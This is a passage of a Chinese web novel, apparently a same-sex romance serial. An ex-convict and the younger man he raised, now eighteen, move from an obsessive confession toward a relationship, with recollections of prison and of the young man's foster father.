从新春到宜华,从宜华到新春。
他出狱的时候,管他的牢头跟他说,“对你弟弟好点吧,别再进来了。你晓不晓得你弟弟每个礼拜都来,就这么过了四年,我上次讲起来,所里的同志跟我说,你弟弟过年不是打架进派出所就是在监狱门口等,都成了这里的过年节目了。”
其实在那消失的两个月里,周瞳来了新春,想看看应不尘的那个养爹到底啥样,能不能靠谱。
打听了一圈李泥鳅就来了这青少年活动中心。
周瞳戴着个鸭舌帽在这里上网。
他已经来了好几天了,就开着电脑看电视。
李泥鳅找了人在里屋喝酒,周瞳就背对着坐在他们后面。
两人先是扯了一些闲的东西,再接着就聊起来应不尘。
那人说,“你儿子户口迁走了?”
李泥鳅说,“狗屁倒灶的,一到十八给我一脚踹了。”
那人说,“他哥出来了是不?”
“可不呢,屁颠屁颠找那个劳改犯去了,他就搁那个汽车站等呢,等死去吧他。”李泥鳅说,“那劳改犯跑了,不要他了。”
“你这个儿子这不就白养了?”那人说,“成绩那么好,将来有啥事儿也能沾点儿啊,而且你不是说,你儿子灵光得发邪吗?”那人道。
李泥鳅三两酒下去,说,“我那会儿刚接他那会儿,他就没到十三四,他搁那个车上,就点我了,我那会儿心里就想着了,我说这玩意当我儿子可真行啊,你晓得四年多,老子给他花钱,他连一个好脸都没给老子,我最开始没想过好好养么?我都见不着他,他妈的丧良心的白眼狼,一年去了多少回宜华?除了上学就啥都不干。”
那人说,“那你家里头没吃没喝的,你不着家,他心在外头呢么。”
李泥鳅说,“有一回,我跟你说真给我吓尿了,那次学校就放假半天,他去不成,我心思买点菜回去呢,他搁家里撒面粉,大半夜你开门进去大热天他穿这个军大衣撒面粉,我他妈吓得赶紧跑了。”
那人道,“灵光的就这样,都有点毛病。”
“那他妈也不能毛病成这样啊。”李泥鳅说,“讹他吗的老子这么多钱,估计献宝一样献给那个劳改犯去了,那劳改犯放个屁都香,我一提那劳改犯,就说要给我杀了,我真的草死他血妈。”
“那你那个儿子这些年也没少给你挣,他指啥啥挣钱,你看看你这个场面,现在新春几个比得上你?”李泥鳅的老友说,“指点几个让我发财的,他乐意骂我就骂我,还能真杀了?”老友往嘴里塞花生米。
“你可没见过那小子,我草死他我真是,”李泥鳅说,“阴嗖嗖的,上回我说我要搞那个劳改犯,你晓得他干啥啊?他后半夜夜蹲我床头,笑嘻嘻地跟我说他也要当劳改犯去,问我能不能捅我两刀,我他妈的,我吓得鸡儿都夹住了!”
“我跟他说,他哥在宜华,他得去宜华杀才能进去当宜华的劳改犯,他还好像真的好好想了一下,又问我,他走了我会不会搞他哥,要不捅两个,我他妈哪有那闲工夫!真的,聪明的都是纯精神病,”李泥鳅说。
“吓唬人呢吧?”那人道,“怕你欺负人家呗。”
“他不吓唬人,”李泥鳅说,“我养过,我真心里清楚,那会儿我心思在外头想想辙,让那劳改犯多呆两年,他也小,只能指着我是吧,我一问,你猜怎么着?”
“那年过完年还是清明来着,我宜华的兄弟看见他了,说他晚上睡坟上,给我吓得,我还以为那个劳改犯死了呢,他回来真给我来一下子,不过那劳改犯死了,他也得死去,这梗逼,现在也好,到了十八,不跟我要钱了,户口也撤走了,格老子的,太吓人了。”
周瞳默默地听着。
再后来,他就回了宜华,就在应不尘的身边了。
但是无法控制的事情发生了,应不尘要跟他处对象。
小子又瘦又高,都到周瞳的胸口了,估计来年还蹿个个子,应当不会太矮。
小子的脸也是长开了,休说女大十八变,男大也一样。
周瞳再囫囵看他的时候就觉得他长得跟印象里不太一样了。
陌生的,熟悉的,感觉太奇怪了,就好像他的小的时候是上辈子。
他问自己他能不能做个男人,询问自己能不能爱他,他的眼神变了,从前像小狗,现在像小狼。
周瞳觉得自己昏了头了,最无法控制的是:
在电影院应不尘抓着自己的手的时候,十指紧扣的时候,他轻轻挠着自己手心的时候,他在摩的上仰着头看自己的时候,他的眼睛在黑暗里总有星星点点的东西,他倔强的,狡猾的,哭泣的样子,周瞳感觉有什么东西在烧自己的心,烧得他的耳朵都热了,巴不得割掉自己的耳朵。
周瞳给了自己一巴掌,“你也是个畜生。”
47. 招架不了
早上吃饭的时候,应不尘盯着周瞳的眼睛看。
周瞳自从眼睛坏了之后,不太喜欢这样的打量,稍微遮着头发,现在的年轻人都留这样的头型。
“你看啥。”周瞳闷头喝豆浆。
“看你的眼睛。”应不尘说,“你的眼睛,里面像种了一颗星星。”
周瞳总是不喜欢照镜子的时候看自己的眼睛的。
右眼,眼白的地方有一点儿黑色的,有点散,稀碎的。
眼珠子的地方有一点儿白,像瞳孔散了。
“嗯,星星,你种的。”周瞳说。
应不尘低着头继续喝粥,口气却变了,说,“我欠你一只眼睛,要是能换,我马上挖出来给你。”
“一大清早的,又发什么神经,”周瞳说,“喝农药了啊?”
“我昨晚上做梦了。”应不尘说。
“做梦,就挖眼睛了啊,”周瞳感觉出来今天应不尘起来浓浓的起床气,说,“你做梦咋不做点好的。”
“啥梦好啊?”应不尘问。
“春梦呗。”周瞳说。
“也做。”应不尘呷着粥,脸不红心不跳地说,“十七八岁,头一回,跟你。”
“咳咳咳,”周瞳的豆浆都从鼻子里出来了,“咳咳咳...”
“激恼啥。”应不尘懒洋洋地说,“我昨天就说了,不会跟你说谎了。”
“...”周瞳说,“有时候你也不用这么实诚。”
“那会儿还见不着你,”应不尘翘着二郎腿,搅和着眼前的粥,说,“一做那梦,我就明白我自己了。”
“你明白...”周瞳刚要张嘴。
“你妈,我知道了。”应不尘斜靠在椅子上,他穿着个白色的背心大裤衩,搓着手指说,“我妈要是在,肯定跟我说,儿子,有出息。”顺便掰了个大拇哥给自己。
“你出息...”周瞳又要张嘴。
“你妈,我知道,”应不尘侧过来一点头,这小子这会儿的个头都到周瞳的肩膀了,“天天就会你妈,能换一句吗?”
“换啥?”周瞳说,“我能对你这个狗崽子说啥?”
“那就不说,”应不尘说,“你老躲着我睡觉,睡觉还锁门,我今天约了人,把床卖了。”
“啥?”周瞳还没反应过来,就有工人上门了,三下五除二,就把床给拆了。
***
周瞳蹲在店里,今天不想回家,就打算在店里对付一宿。
应不尘来了几趟,就站在门口不说话,跟个傻子似的。
周瞳今天有点中暑,这房子太闷了,闷得人犯恶心。
今天一天都没生意,好不容易来了个大妈,人家还跟她说周瞳是杀人犯。
劳改就劳改,跟杀人犯有什么关系。
但是细想了一下,好像也有关系。
吓得大妈直接把电饭煲又给端回去了,似乎是怕周瞳这个杀人犯记恨自己,还给了五块钱,扔在地上的。
周瞳呆愣着看着钱好久,有风来了,要把钱吹跑,周瞳弯下腰,把钞票捡起来,擦擦,装进口袋里了。
应不尘就站在对面。
只是周瞳眼睛不好,也可能是他根本没注意。
夜半,周瞳正在睡觉,夏天实在太闷了,这铺子里只有一个小吊扇。
小吊扇呼啦啦的吹,蚊子还多。
卷帘门没拉死,拉死了更闷热。
周瞳睡得迷迷糊糊的时候,突然感觉到凉丝丝的。好睡。
周瞳就再也没有被蚊子咬了。
夜深了,有动静,一睁眼,周瞳就看见应不尘这个怨种蹲在边上给他打扇子,周瞳不敢睁眼,只感觉应不尘用凉凉的毛巾擦着钢丝床上的席子,然后轻轻的驱赶蚊子。
周瞳又在黑暗里问,“你又在搞什么。”
“喂蚊子。”应不尘说,“不然你要被咬死了。”
“我回去了也没地方睡。”周瞳伸了个懒腰,说,“我就住这儿了。”
今天周瞳打定了主意,真的不能再跟他纠缠了。
应不尘说,“行。”
然后过去拉紧了卷帘门,什么东西都不垫着,直挺挺的就躺下了。
嘿,还不忘记给周瞳打扇子。
周瞳一坐起来,钢丝床吱呀吱呀的响。
“你他妈又要干啥!”周瞳说。
“做春梦了,醒了,来看看你。”应不尘眯着一只眼睛,说,“怎么了?”
“你不觉得你有点过分了吗?”周瞳说,“我不乐意,我不乐意去你的春梦里,我是狗还是什么牲口啊,我得让你这么埋汰?你不是跟我说了你不犯病了吗?”
“你讨厌我?”应不尘问。
“看不出来?”周瞳说。
“看不出来。”应不尘说,“你把我当牲口就行,当狗,当猫,随便你当什么,牲口不知道人看不上他们,给口吃的,就把命给了,又不管人家讨不讨厌它。”
“我小时候的准则就是,活你自己的,管人家干啥。”应不尘说。
“那你管管我死活行不?”周瞳说,“我几条命够你作啊?”
应不尘转过头来,说,“我命给你。”
“我要你的命干什么啊?”周瞳问。
“我不知道,”应不尘眨着眼睛,看着天花板上的吊扇,说,“打狗的时候,狗不走,我也不走。你半死不活养家的时候,我烧了面粉厂的时候,你去坐牢的时候,天都塌了的时候。”
应不尘喘了一口气,顺了一下,说,“你还想着我,我在这世界上没别人了,我就是为你活着的。”
“不然我这烂命,没劲儿。”应不尘轻笑了一下。
“你进去那前两年其实还好点儿,那会儿不明白,不明白为啥我就总想着你呢,为啥我就一点儿朋友都不乐意交呢,不明白为啥我一直就是想,想你说的话,买房子,安个家,”应不尘说,“后面两年,我就明白了,我有病,我是同性恋,我以前怕你,敬你,我当你是哥哥,但是你回来了呢,我就在想,我是不是要攒钱给你结婚啊,你为了我,你白白糟蹋了那么多年,那么多钱。”
“我碰上个女的,你那个钥匙扣上的小吉他的那个女人,见完她我就嫉妒得不行,她为啥就行啊?因为她是女的?我一想到你要娶媳妇,我就怕得浑身发抖,我说他妈的,凭啥我就是个男的呢?那电视里面,小十岁的都可以娶回家。像你这样把我养大替我扛事儿的那叫以身相许。”应不尘继续说,“可是我他妈是个男的啊?我他妈为什么,我为什么就他妈的得是个男的!”应不尘一口气说了太多话,额角的青筋都爆起了,他转过来看着周瞳,一人躺在地上,一人躺在床上,“我那会儿有多恶毒呢,我想,最好你再糟糕一点儿,就是全世界没有一个女人看得上你,我就高兴。”
“但是后来,我就不这么想了。”应不尘的眼睛红红的,“我想,人家能有我爱你吗?人家能有我知道你洗澡要多热,能有我知道你乐意吃啥,能有我知道你内裤要棉的还是真丝的?全世界,我跟你说周瞳全世界,我最爱你。你能明白吗?”应不尘说着就哽咽了,“可是你不要我,说啥你都不要我。”
周瞳躺在坐在床上看着睡在一堆垃圾的地板上的应不尘,说,“都是机油,回去洗洗。”
机油难洗,应不尘弄得一背都是。
应不尘光着上身,皮肤很白,从脖子到半个后背到胳膊,腿上,都是斑斑点点的机油。
周瞳的手指搓过应不尘的皮肤。
应不尘背对着他坐在小板凳上,说,“小时候,你带我去理发店洗澡,用塑料膜布搭起来,那个膜布老掉下来,一掉下来就压在身上,热气都跑了,特别冷。”
“记性这么好?”周瞳问。
“嗯,然后你用人家最贵的洗发露给我洗头,挤得我一脑袋都是。”应不尘说。
“后来在面粉厂了,夏天就用皮管冲我水,把我冲得站都站不起来,”应不尘接着说,“你就在那看捂着肚子笑,后来看我哭了,才帮我捡回来。”
“我记不得了。”周瞳用肥皂打了好几次,机油还是不好搓。
“冬天的时候,那个铁皮房子漏风,”应不尘说,“你带我去洗大澡堂,你跟我说,出来结账的时候,随便找个人就喊爹,跑出来就行了。结果我认了个爹,人家还真要带我回家,你一下子就急了,跟他抢孩子。”应不尘自顾自的笑起来,“你说,‘这真是我心肝儿!’”
“跟着我,”周瞳迟疑了一下说,“总受委屈。”
“不委屈,”应不尘的背馁了,说,“别人都觉得我苦,我觉着甜。”
“你在的地方,”应不尘转过头来,说,“哪都好。”
周瞳一把把泡沫捂在应不尘的脸上,说,“书读多了,说话恶心吧啦的。”
应不尘被着一巴掌糊住了脸,一下子从凳子上跌了下来。
“滑!”应不尘喊。
为了给他
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洗机油,这儿准备了一大堆洗涤剂,这会儿全给弄翻了。
“啊...”应不尘呲牙说,“尾巴骨,不太对劲。”
“啊?”周瞳连连去拉,但是地实在是太滑了,拖鞋也不防滑,一下子也拽地上了。
二人躺在淋浴间,应不尘靠在周瞳的肩膀里,他没拒绝。
应不尘抬起周瞳的手,摸了摸自己的头发。
绵密的泡沫,流水的花洒,脏兮兮的应不尘用手指滑过周瞳的鼻梁,他起来吻上了周瞳的眼睛,坏了的眼睛,那只看不清楚东西的眼睛。虔诚的,小心的。
周瞳还是没拒绝。
应不尘的手指滑过他的睫毛,安静地躺在边上。
搔睫毛有点痒,周瞳闭了闭眼睛。
自己恐怕是疯了,周瞳这样想。
招架不了。
招架不了这个世界上所有人都瞧不起你,害怕你,厌恶你,唯独有一个人,他说你是世界上最好的人,他这一辈子都不要离开你。
招架不了他每次都认真的重复着,我爱你,我生出来就是为了来爱你的,我的爱给你,我的命给你,我一生的时间,只做了爱你与等你两件事。
心动与克制之外,到底还有没有第三条路。
周瞳从来也不是高尚的人,但是他从来不觉得自己卑鄙,他是凡夫俗子,是血肉之躯,是社会秩序下碾压的小小蝼蚁,是身披道德枷锁的可怖兽人,他也会有悸动的心跳,他也会有世俗人性,发乎情止于礼总是困扰理智的成年人,周瞳觉得缰绳在松懈,野马想要回归无边原野。
要命的花洒水压没有变化,孜孜不倦的撒在二人身上。
滑腻的手感,闪了两下的暖灯,哗啦啦的水流打击着周瞳的耳膜。
像在家里淋了一场雨。
好累啊。
好像从来都没有停下过。
周瞳被撕扯着,他想起了别人鄙夷的目光,想起了别人如见罗刹的打量,想起了在里面最开始进去的时候只能睡在马桶旁边,夜半的干呕就引来毒打。
想起了他的被子被人塞进了马桶,来这里的人得上一些孝敬。
那时候的周瞳不服,跟他扭打,撕扯,关小黑屋。
周瞳想起了团年的那一夜,周瞳想跑,想报警,那个败家子说,你进去了,我善待你弟弟,我给你还债,你要是不进去,你弟弟总在路上走,没有常平安。
周瞳想起他看见了应不尘坐在旁听席上哭,他的神情绝望,他的声音干哑,这样的哭声夜夜在他耳边。
周瞳想起了卖了手表给应不尘补牙时候,上厕所的间隙看见应不尘在狠狠地扇自己巴掌,好像在仇视着自己的牙,为什么要让周瞳这么难。
周瞳偷偷藏了一封信,最薄的一封,那么多,压信或者遗失的那么多,他也没地方找。
周瞳当时擦着鼻血看这封信,已经是进去的第三年,周瞳隔着信封,对着光瞧过好几次,就顶多十几个字。
应不尘的信用铅笔写的,擦去了数次,笔痕犹在,最后上写:
瞳哥:
吃饱穿暖。
我等你回家。
周瞳实在没有力气再站起来了,也没力气推开。
他想起了二十岁的自己,那会儿他天不怕地不怕,有个草窝就敢养娃。
他想起了跟应不尘一样的年纪,他那会儿最不怕旁人笑话,也不怕吃苦流泪,他只怕自己得不到想要的。蓬勃的野心让他日日都有力气,看见一点阳光就敢追赶太阳。跟现在的应不尘一个叼样,臭不要脸去讨要生意,讨好老板,一回不成就两回,他当时得意洋洋地跟应不尘说,“唉!世上无难事只怕有心人!学吧小子。”
时光如疯狂转动轴承上的履带,周瞳在履带上摔得鼻青脸肿。
周瞳的人生里,如何不是只有他呢?
“瞳哥,”应不尘颤抖着肩膀,小心翼翼地说,“别走。我错了。好不好。”
周瞳没有像往常一样暴怒,而是松松地揉了揉他的头发。
践行周瞳名人名言,秉承着只要不要脸,铁棒磨成针的小子小心翼翼地贴在他的胸膛,问,“我是不是不要脸。”
“嗯。”周瞳懒洋洋地说,“你还知道。”
“我不要脸,”应不尘捂着眼睛,笑了出来,说,“要你。”
应不尘病态地扭曲着,他觉得他的心里住了一条蛇。
把周瞳紧紧地缠住的,哪儿也不让他去的蛇。
48. 我长大了
应不尘看着出神的周瞳,心里忽然有点害怕。
半晌,周瞳转过来对应不尘说,“我们去国外吧。”
应不尘的眼睛亮了一下,坐起来说,“你怎么想着去国外了?”
“国外的钱好挣啊。”周瞳撑着手臂,扯了一块毛巾,给应不尘擦头发,说,“我学了修家电,国外不也是这么点东西么,你好好学学英文,你给我翻译,我修,你看看行吗?”
“真的?”应不尘惊喜的问。
“那你不得你这个洋文,你学明白了?”周瞳把毛巾都捂在应不尘的脸上说。
“我会好好学的。”应不尘扯开了毛巾,也给周瞳擦头发,半信不信地问,“说话算数?”
“咋不算数。”周瞳说,“赶紧滚去睡觉。”
应不尘在门口回头看了三次换衣服的周瞳,又跑过来,顶着他的脑袋问,“真的?”
周瞳说,“你这个成绩你在这里读书马马虎虎,你能上的去国外读书吗?到时候,那老外的钱可值钱了,活不起的时候咱两都得打工。”
应不尘说,“我选个有奖学金的学校,你就不会那么累了。”
“说得跟你想要就能有似的。”周瞳照着镜子捋头发,说,“少吹牛逼。”
“我考上了有奖学金的,咱两就一块儿走是不?”应不尘又问。
周瞳指着汪爷汪奶的黑白照片,说,“奶也走啊,咋的,把她一个人扔这儿啊?”
应不尘高兴了。
他一高兴,连走路就是哒哒哒的,跟小时候一样。
就是床被这个逼崽子卖了,两个人就只能挤在沙发上,屋里有空调,外面没有,两个人挤在一起。
“我都搞不懂,你卖床干啥,你要卖卖沙发啊。”周瞳说,“都是皮,不透气,你身上这个机油也没洗干净,你一会儿长疹子。”
“买回来。”应不尘闭着眼睛窝在周瞳的肩膀窝子里,说,“我想跟你睡一起。”
“你怎么就那么多主意呢?”周瞳摸着他的头发问。
这孩子养的不好,养的好的孩子头发不会这么细这么软,不如我养的。周瞳想。
“我有计划。”应不尘拱着说。
“啥计划啊。”周瞳问。
“我先计划找人找你茬,然后我出来保护你。”应不尘说,“但是我想明白了,这种也没有用,你不会因为我去帮你打架了,你就觉得我是个男人了。”
“然后呢?”周瞳听着好笑。
“然后我就觉得,我可以等一等,等我真的长大了成熟了,或者再过几年,我们稍微生疏一点儿,把从前的事儿忘了,我再来找你。”应不尘说,“带着工作,带着很多钱给你,你是财迷。”
“然后呢?”周瞳用手指卷着他的头发问,像听故事。
“我怕你被人抢了。”应不尘睁开眼睛,看着周瞳,说,“你这么好,被人抢了我去上吊去吗?”
“没人抢,我是个什么货色,你还不知道吗?”周瞳问。
“第一等。”应不尘摸着周瞳的喉结,说,“瞳哥,你能别不要我吗?我马上,就可以了。”
“嗯,”周瞳把他的脑袋卡在自己下巴下面,用胡渣扎他,“知道了。”
“你说话算数吗?”应不尘问,似是不相信,又揪了一把自己的大腿。
刚要揪,手就被周瞳握住了,“我皮糙肉厚,揪我。”
应不尘的手在发抖,抖得周瞳的心都有点酸。
“快睡觉吧。”周瞳说。
应不尘往他怀里拱了拱,说,“我可以做你的春梦了吗?”
“你做事儿你时候问我了,”周瞳说,“主意那么正。”
没有骂就是可以,当然,被骂也还是可以的,无非就是打一顿,几天就不疼了。
应不尘嬉皮笑脸,又去摸周瞳的眼皮,他说,“我能亲亲你吗?”
“你还没亲够啊?”周瞳问。
“亲不够。”应不尘捧起了周瞳的脸,细密的吻落在上面,他说,“世界上最漂亮的人不是白雪公主,是你。”
“嗯,”周瞳扯了抹不着调的笑,说,“我从前出去哄女人的时候,也这么说。”
“真的?”应不尘的脸一下子就阴了,他一骨碌起来压在周瞳身上,掰着他的脸要他睁开眼睛,“真的?”
“那还能假的不成?”周瞳笑着去推他,“没人跟你说我从前换老婆跟换衣服一样吗?”
“你骗我,”应不尘掰着周瞳的脸,“你才不会。”
“我为啥不会啊,你现在这个年纪都懂了是不是,就开始想别人了,是不是,”周瞳说,“我咋不能想别人?咋了,我青春比不上你青春呗。”
“你肯定骗我,”应不尘的眼睛红红的,从他身上下来了,似是闹脾气,睡到另一头去了,“但是就算那样,也...也没关系。”
周瞳挠他脚心,吹了一口气在他脚上,说,“就这样的,还当起男人来了?”
应不尘缩了缩脚,又借着上厕所的名义起来了,说,“你脚臭。”就又钻周瞳怀里来了。
“上回还说要舔我脚,现在说我脚臭了。”周瞳怀着他,二人窝在沙发里,“你变形金刚啊。”
“我的计划还没说完呢。”应不尘说,“就被你打乱了。”
“咋,你要反清复明啊这么多计划?”周瞳问。
“嗯,我还想了,要是你实在不跟我好,”应不尘低垂着睫毛,说,“那我就攒钱去做手术。”
“你做手术干啥啊?”周瞳说,“那皮也不长啊,你小时候我就留着心呢,长了给你去医院剪了。”
“做女人。”应不尘道。
空气都停滞了。
周瞳也尬住了。
“你,你做女人...干啥,那,这个,做也不能生孩子啊?”周瞳也不敢看应不尘,说,“还是你心里,你就是觉得,觉得是个女人啊?”
周瞳从前听说,有些男人自己认为自己是女人,就会格外的娘娘腔,然后偷穿裙子之类的,村里从前也有那种二椅子。
一想到二椅子,周瞳就有点发怵。
“不是。”应不尘说,“改名字,做女人,我就藏着秘密,不让你知道,就跟我好。”应不尘羞怯地,说,“我个头不高,可以长长头发。”
“但是我,”应不尘接着说,“我不知道,你喜欢男的还是女的,我印象里,你好像是喜欢女的。”
周瞳听的后背的汗毛都立起来了。
从前玩儿的时候,那帮败家子爷玩雏的也有,玩鸭的也有,早就不是什么新鲜事,进去号子之后,这事儿就更普遍了,晚上的灯不怎么熄灭,钻进被子里搞什么周瞳心知肚明。
得益于宜华的监狱监管还算得力,没有一些偏远地区是捡肥皂的重灾区。
进了号子了,啥人都能见着,啥事情都能见着,这老些人,放风的时候每天听点咋进去的事儿都能不重样,跟周瞳一起住的还有个鸡jian同性恋的,老大经常让他腊八的时候给大家唱歌。
周瞳真没觉得有啥,喜欢就管什么男女,就都那么回事儿。
周瞳的脚心都麻,那玩意儿切了得疼啥样啊,问,“你,真别到这份上,我在你这儿是个宝,出去了连个狗都比我强。”
“就是我的宝。”应不尘白净瘦长的脖颈拢在周瞳的脖子上,说,“就是宝。”
“行行行,”周瞳捂住他的嘴,两句话说不完就要亲来亲去的,实在腻歪,说,“知道了知道了,再不睡觉天就亮了。”
周瞳清早的时候光照眼睛了,醒了一下就毯子遮住眼睛又睡了,迷迷糊糊间,他看见应不尘大清早就起来轻轻的背英文。
周瞳一觉就睡到了中午,再醒的时候应不尘已经补课去了,桌子上留了字条,他敢写周瞳都不敢看,他写的:「宝贝,我去上学了,下午四点半回来。」
他敢叫自己宝贝?
这人真上头,好像脑子不正常。
不过,这世上脑子不正常的也不只他一个。
***
中午,周瞳从旅行社里出来,人家跟他说,这事儿要去问专门管这个的培训机构。
周瞳又去了培训机构。
一大堆表格放在周瞳的面前,反正简而言之,高考之后出国念大学是家长能够提供给学生最好最牛的出路了,仅次于回家继承皇位。
周瞳看着一页纸的0都蒙圈了。
去美国的话,按照人民币计算,学杂费之外,光生活费就得一年好几万,美金。
周瞳挠挠头,半懂不懂地听着介绍,对面的女生说话夹杂了很多周瞳听不懂的词汇跟英文。
对于要送应不尘出国这件事,周瞳还是挺坚定的,就是挣钱嘛。
而他自己,周瞳自己摸不准。
哪怕应不尘真的跟他在家卿卿我我搂搂抱抱,周瞳都觉得,他该先去看一看的,去看看别人,去看看别的地方,以后的事,以后有机会再说。
就像应不尘说的那样,过很多年,再见面了,从前的那些事儿也淡了不少了,周瞳也混的有个人样了,再说吧。
想到这里周瞳笑了一下,又想,孩子,玩心大,压力重,兴许过个几年,都不想看见周瞳了,谈了朋友想起有个劳改的家里人,都不好意思跟他介绍自己了。
以后的事儿,谁说得准。周瞳踩灭了一根香烟,抽了半截。
周瞳给自己镶了层假皮,这是真的。
理智与现实让他不得不这样想,不得不去考虑应不尘跟自己的关系,跟自己的年纪,跟自己的身份。
但是他不想承认,他喜欢被他拥抱,被他珍视,被他尊重,他想要收藏他获至宝的欣喜的眼睛。
回家的路上,周瞳买了些菜,经过蛋糕房的时候,又想着这么多年都没给应不尘买过这玩意儿。
周瞳随便指了个图案,就坐在窗口等。
应不尘会从这条路回家。
不到四点二十,应不尘就急匆匆的过来了,有时候周瞳出去晃,去家电城看,就会经过应不尘学校,在学校门口看那些小孩儿,周瞳看见应不尘站在学校门口登记迟到的同学,或者是校正什么校容校貌,他就那么板着个脸,看着冷冰冰的。
这能装。周瞳想。
学校外头有网吧了,叫李泥鳅带起来的。
周瞳去上网的时候,也有他们学校的孩子出来玩电脑游戏,男的女的都有,周瞳摘了耳机听过,男生说,应不尘一副天天了不起的样子给谁看,不就是成绩好
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点儿长得好点儿吗?女生说,应不尘收到的情书都能塞一个抽屉了,他爸那么有钱,他成绩又好,很多女生喜欢他,但是他特别成熟,但是脾气不好,说有暗恋的人一直在等。
周瞳手撑着脸,有点想笑。
就这个特别成熟太搞笑了,应不尘那小样儿,一整就嗷嗷哭,噼里啪啦的掉眼泪,虽然说现在看起来好像好了点儿,但是感觉也好不到哪里去,黏糊人的劲儿一点儿也没变,可能是年纪有点上来了,没事装个忧郁深沉,基本上熬不过一会儿,一逗就好,就这还成熟了?
应不尘跑得头发都乱了,在小区楼下的时候又摸了摸自己的头发,扯了下衣服,平了下呼吸才上楼。
周瞳拎着蛋糕,跟在他身后,想吓唬他一下。
应不尘站在门口,敲了敲门,没人应声,似乎是有点失望,接着就是着急慌忙地颤抖着手掏钥匙,急切的连钥匙都掉在地上了,然后又赶紧捡起来哆哆嗦嗦的开门,连钥匙孔都对不准。
周瞳每次都觉得应不尘说,“怕你走了。”他觉得烦人。
但是真见着了,又说不上来的难受。
“喂!”周瞳喊了一声,“跑那么快,喊你都听不见。”
应不尘立马就挂上了笑脸,说,“我没听见。”
周瞳拎着个蛋糕,说,“这玩意儿从前都嫌腻,今天看挺多小孩儿买那盒子蛋糕吃的,你吃过吗?”
“这个东西,”应不尘说,“是送给我的吗?”
“难不成我吃啊?”周瞳说,“谁小孩儿谁吃呗。”
应不尘接过蛋糕打开来看,大大一个「寿」字,还有个仙桃。
“这也是,给我的?”应不尘问。
周瞳摸摸鼻子,不好意思说那个玻璃架子里的蛋糕他看不清,“对啊。你就福如东海寿比南山呗。”
“你就是我的福,我的寿。”应不尘扑上来。
又开始了。
他又开始粘人了。
周瞳保证,这逼不出三句话,又要跟鸡啄米一样了。
“你们学校的同学可说你可冷冰冰了,”周瞳说,“叫他们瞧瞧你现在的样子,笑话你。”
“你叫他们看呗。”应不尘说,“我管他们咋看,坐这里看。”
应不尘整个人挂在周瞳身上,“瞳哥,你咋这么好呢。”
“买个蛋糕就可好啦?”周瞳问。
“瞳哥,”应不尘脱了鞋,黏在他身上,“你跟我好呗。”
“我跟你咋好。”周瞳说,“不过我现在有点儿不习惯,把你当弟当习惯了。”
“那就过几年再处,”应不尘挖了一勺蛋糕,“我又不着急。”
“你还不着急?”周瞳说,“你自己个儿听听,你还不着急?还要咋着急?”
“我着急了吗?”应不尘说,“我觉得我挺循序渐进的,很沉得住气。”
“放你吗的屁,”周瞳跟他挨在沙发上看电视,“这几年,过得咋样啊?”
“还行吧,”应不尘说,“读书,攒钱,等你。”
“没了?”周瞳问。
“没了。”应不尘说。
“李泥鳅那没少坑钱啊?”周瞳问。
“便宜他了。”应不尘说,“要不是没法子,我可不跟他。”
“你跟李泥鳅说你要给他杀了啊?”周瞳问,“你要弑父这可不行啊。”
“他算个屁。”应不尘说,“我还等你呢,我命这么金贵。”
“我到底啥玩意儿给你整得跟魔怔似的,”周瞳说,“我咋整不明白。”
“不知道,”应不尘放下蛋糕,盘着个腿,说,“我知道我自己那样之后我就吓坏了,然后怕你打我,我一想,我长大了,你也费劲能打的过我,你打不死我,我就想你。”
“真贱呢你,”周瞳说,“小时候也不这样啊。”
应不尘从前面抽屉掏出个保温杯,都洗干净了,递给周瞳。
周瞳瞧着上面的字,说,“这特么写的兄弟义气,你知道不?”
“不知道,”应不尘说,“我合计你写的长相厮守呢。不过你也没文化,不晓得长相厮守啥意思。”
“我没文化,我又不是傻叉,”周瞳说,“那会儿你几岁,我跟你搞这个。”
应不尘躺在沙发上,歪着头,又爬过去黏上周瞳,说,“瞳哥,你稀罕稀罕我呗。”
“我还咋稀罕你,我都让你粘着了。”周瞳说。
应不尘爬上来,像小时候那会儿横着要周瞳抱。
“死重的,”周瞳说,“吃秤砣了啊?”
“嗯,”应不尘闭上眼睛往他怀里钻,“铁了心了。”
“瞳哥,我晓得你在外面要受委屈,”应不尘说,“快了,我快读完书了,我读完书,我挣钱,我养你,你乐意在家就在家,你乐意弄点啥就弄点啥。”
“要是觉得我读完书太晚,现在也行。”应不尘闭着眼睛,也不看他,说,“小时候,你受委屈你就不吱声,我一受委屈你就哭,出去当孙子回来还要供我当祖宗,我长大了,我一辈子对你好,谁也拦不了。”
应不尘听见沉沉的喘气声,他被横抱着,那个风雨不改的男人现在埋在他的肩颈里,好像,周瞳的十八岁现在才来。
49. 我骚啥啦
周瞳动摇了,他真想缩在那小小的房子里,那里的他不是狗见嫌,而是一个被人捧若至宝的男人,应不尘端着他的心,只问他要不要。
周瞳看见怀里的男孩儿,无法克制地想象他有美好的未来,他应该有个足以匹配他的人,而不是现在瞎了眼的劳改犯。
温情总让人深陷,周瞳摸着他的鼻梁无法打破自己的美梦。好像多一天也好,多一晚也好,周瞳记不清他的小时候,好像他来的时候就这么大了。
周瞳真的头痛,太头痛了。
“瞳哥?”应不尘摸他的脸,“你想啥呢?”
“没想啥,”周瞳说,“你还不读书啊?”
“我不,期中考考完了,歇歇。”应不尘说,“我想跟你出去玩也行,不出去也行,就住在家里。”
“出去转转。”周瞳说,“一天天的,闷死了。”
“好呀。”
小小的修理铺关门了。
“瞳哥,接着。”应不尘扔过来一把钥匙。
“这啥呀?”周瞳问。
应不尘指着前面一辆车,“我之前学了修车,修车师傅收的车,我给买了,没花多少钱,瞳哥,我也憋不住,早就修着了,你放心用,我没干坏事。”
“我寻摸着你可能不敢开车了,但是你又喜欢,那事儿到底咋样,你心里清楚,别有坎儿过不去,那不是你的错。”
在里面蹲了四年多,那次周瞳根本没在车上,他就是被拽过来挡枪的。
但是人人都说他撞死人了,周瞳就容易糊涂。糊涂得觉得自己真的撞死人了。
“还有你眼睛也不用担心,我拿了以前的那个单子去问了交警队,人家说单眼矫正视力水平视野到了,现在也让开。”应不尘说。
周瞳看着应不尘,真的有点儿觉得陌生。
就跟别人嘴里的应不尘一样让他觉得陌生。
“咋啦?”应不尘拍了下发呆的周瞳,说,“想啥呢?”
“我觉得不咋认识你了。”周瞳说。
“那感情好,”应不尘说。“我啥也不怕,只怕咱俩太熟了。”
周瞳拧了一下钥匙,踩了两下才点着火,应不尘上了副驾。
“不太好是不,”应不尘说,“还没你从前开的那辆好。”
“我真的迷茫现在,”周瞳说,“我十八九可没你的脑子。”
“咱两当然不一样,”应不尘说,“我有哥,你又没有。但是你夸我了,嘿嘿。”
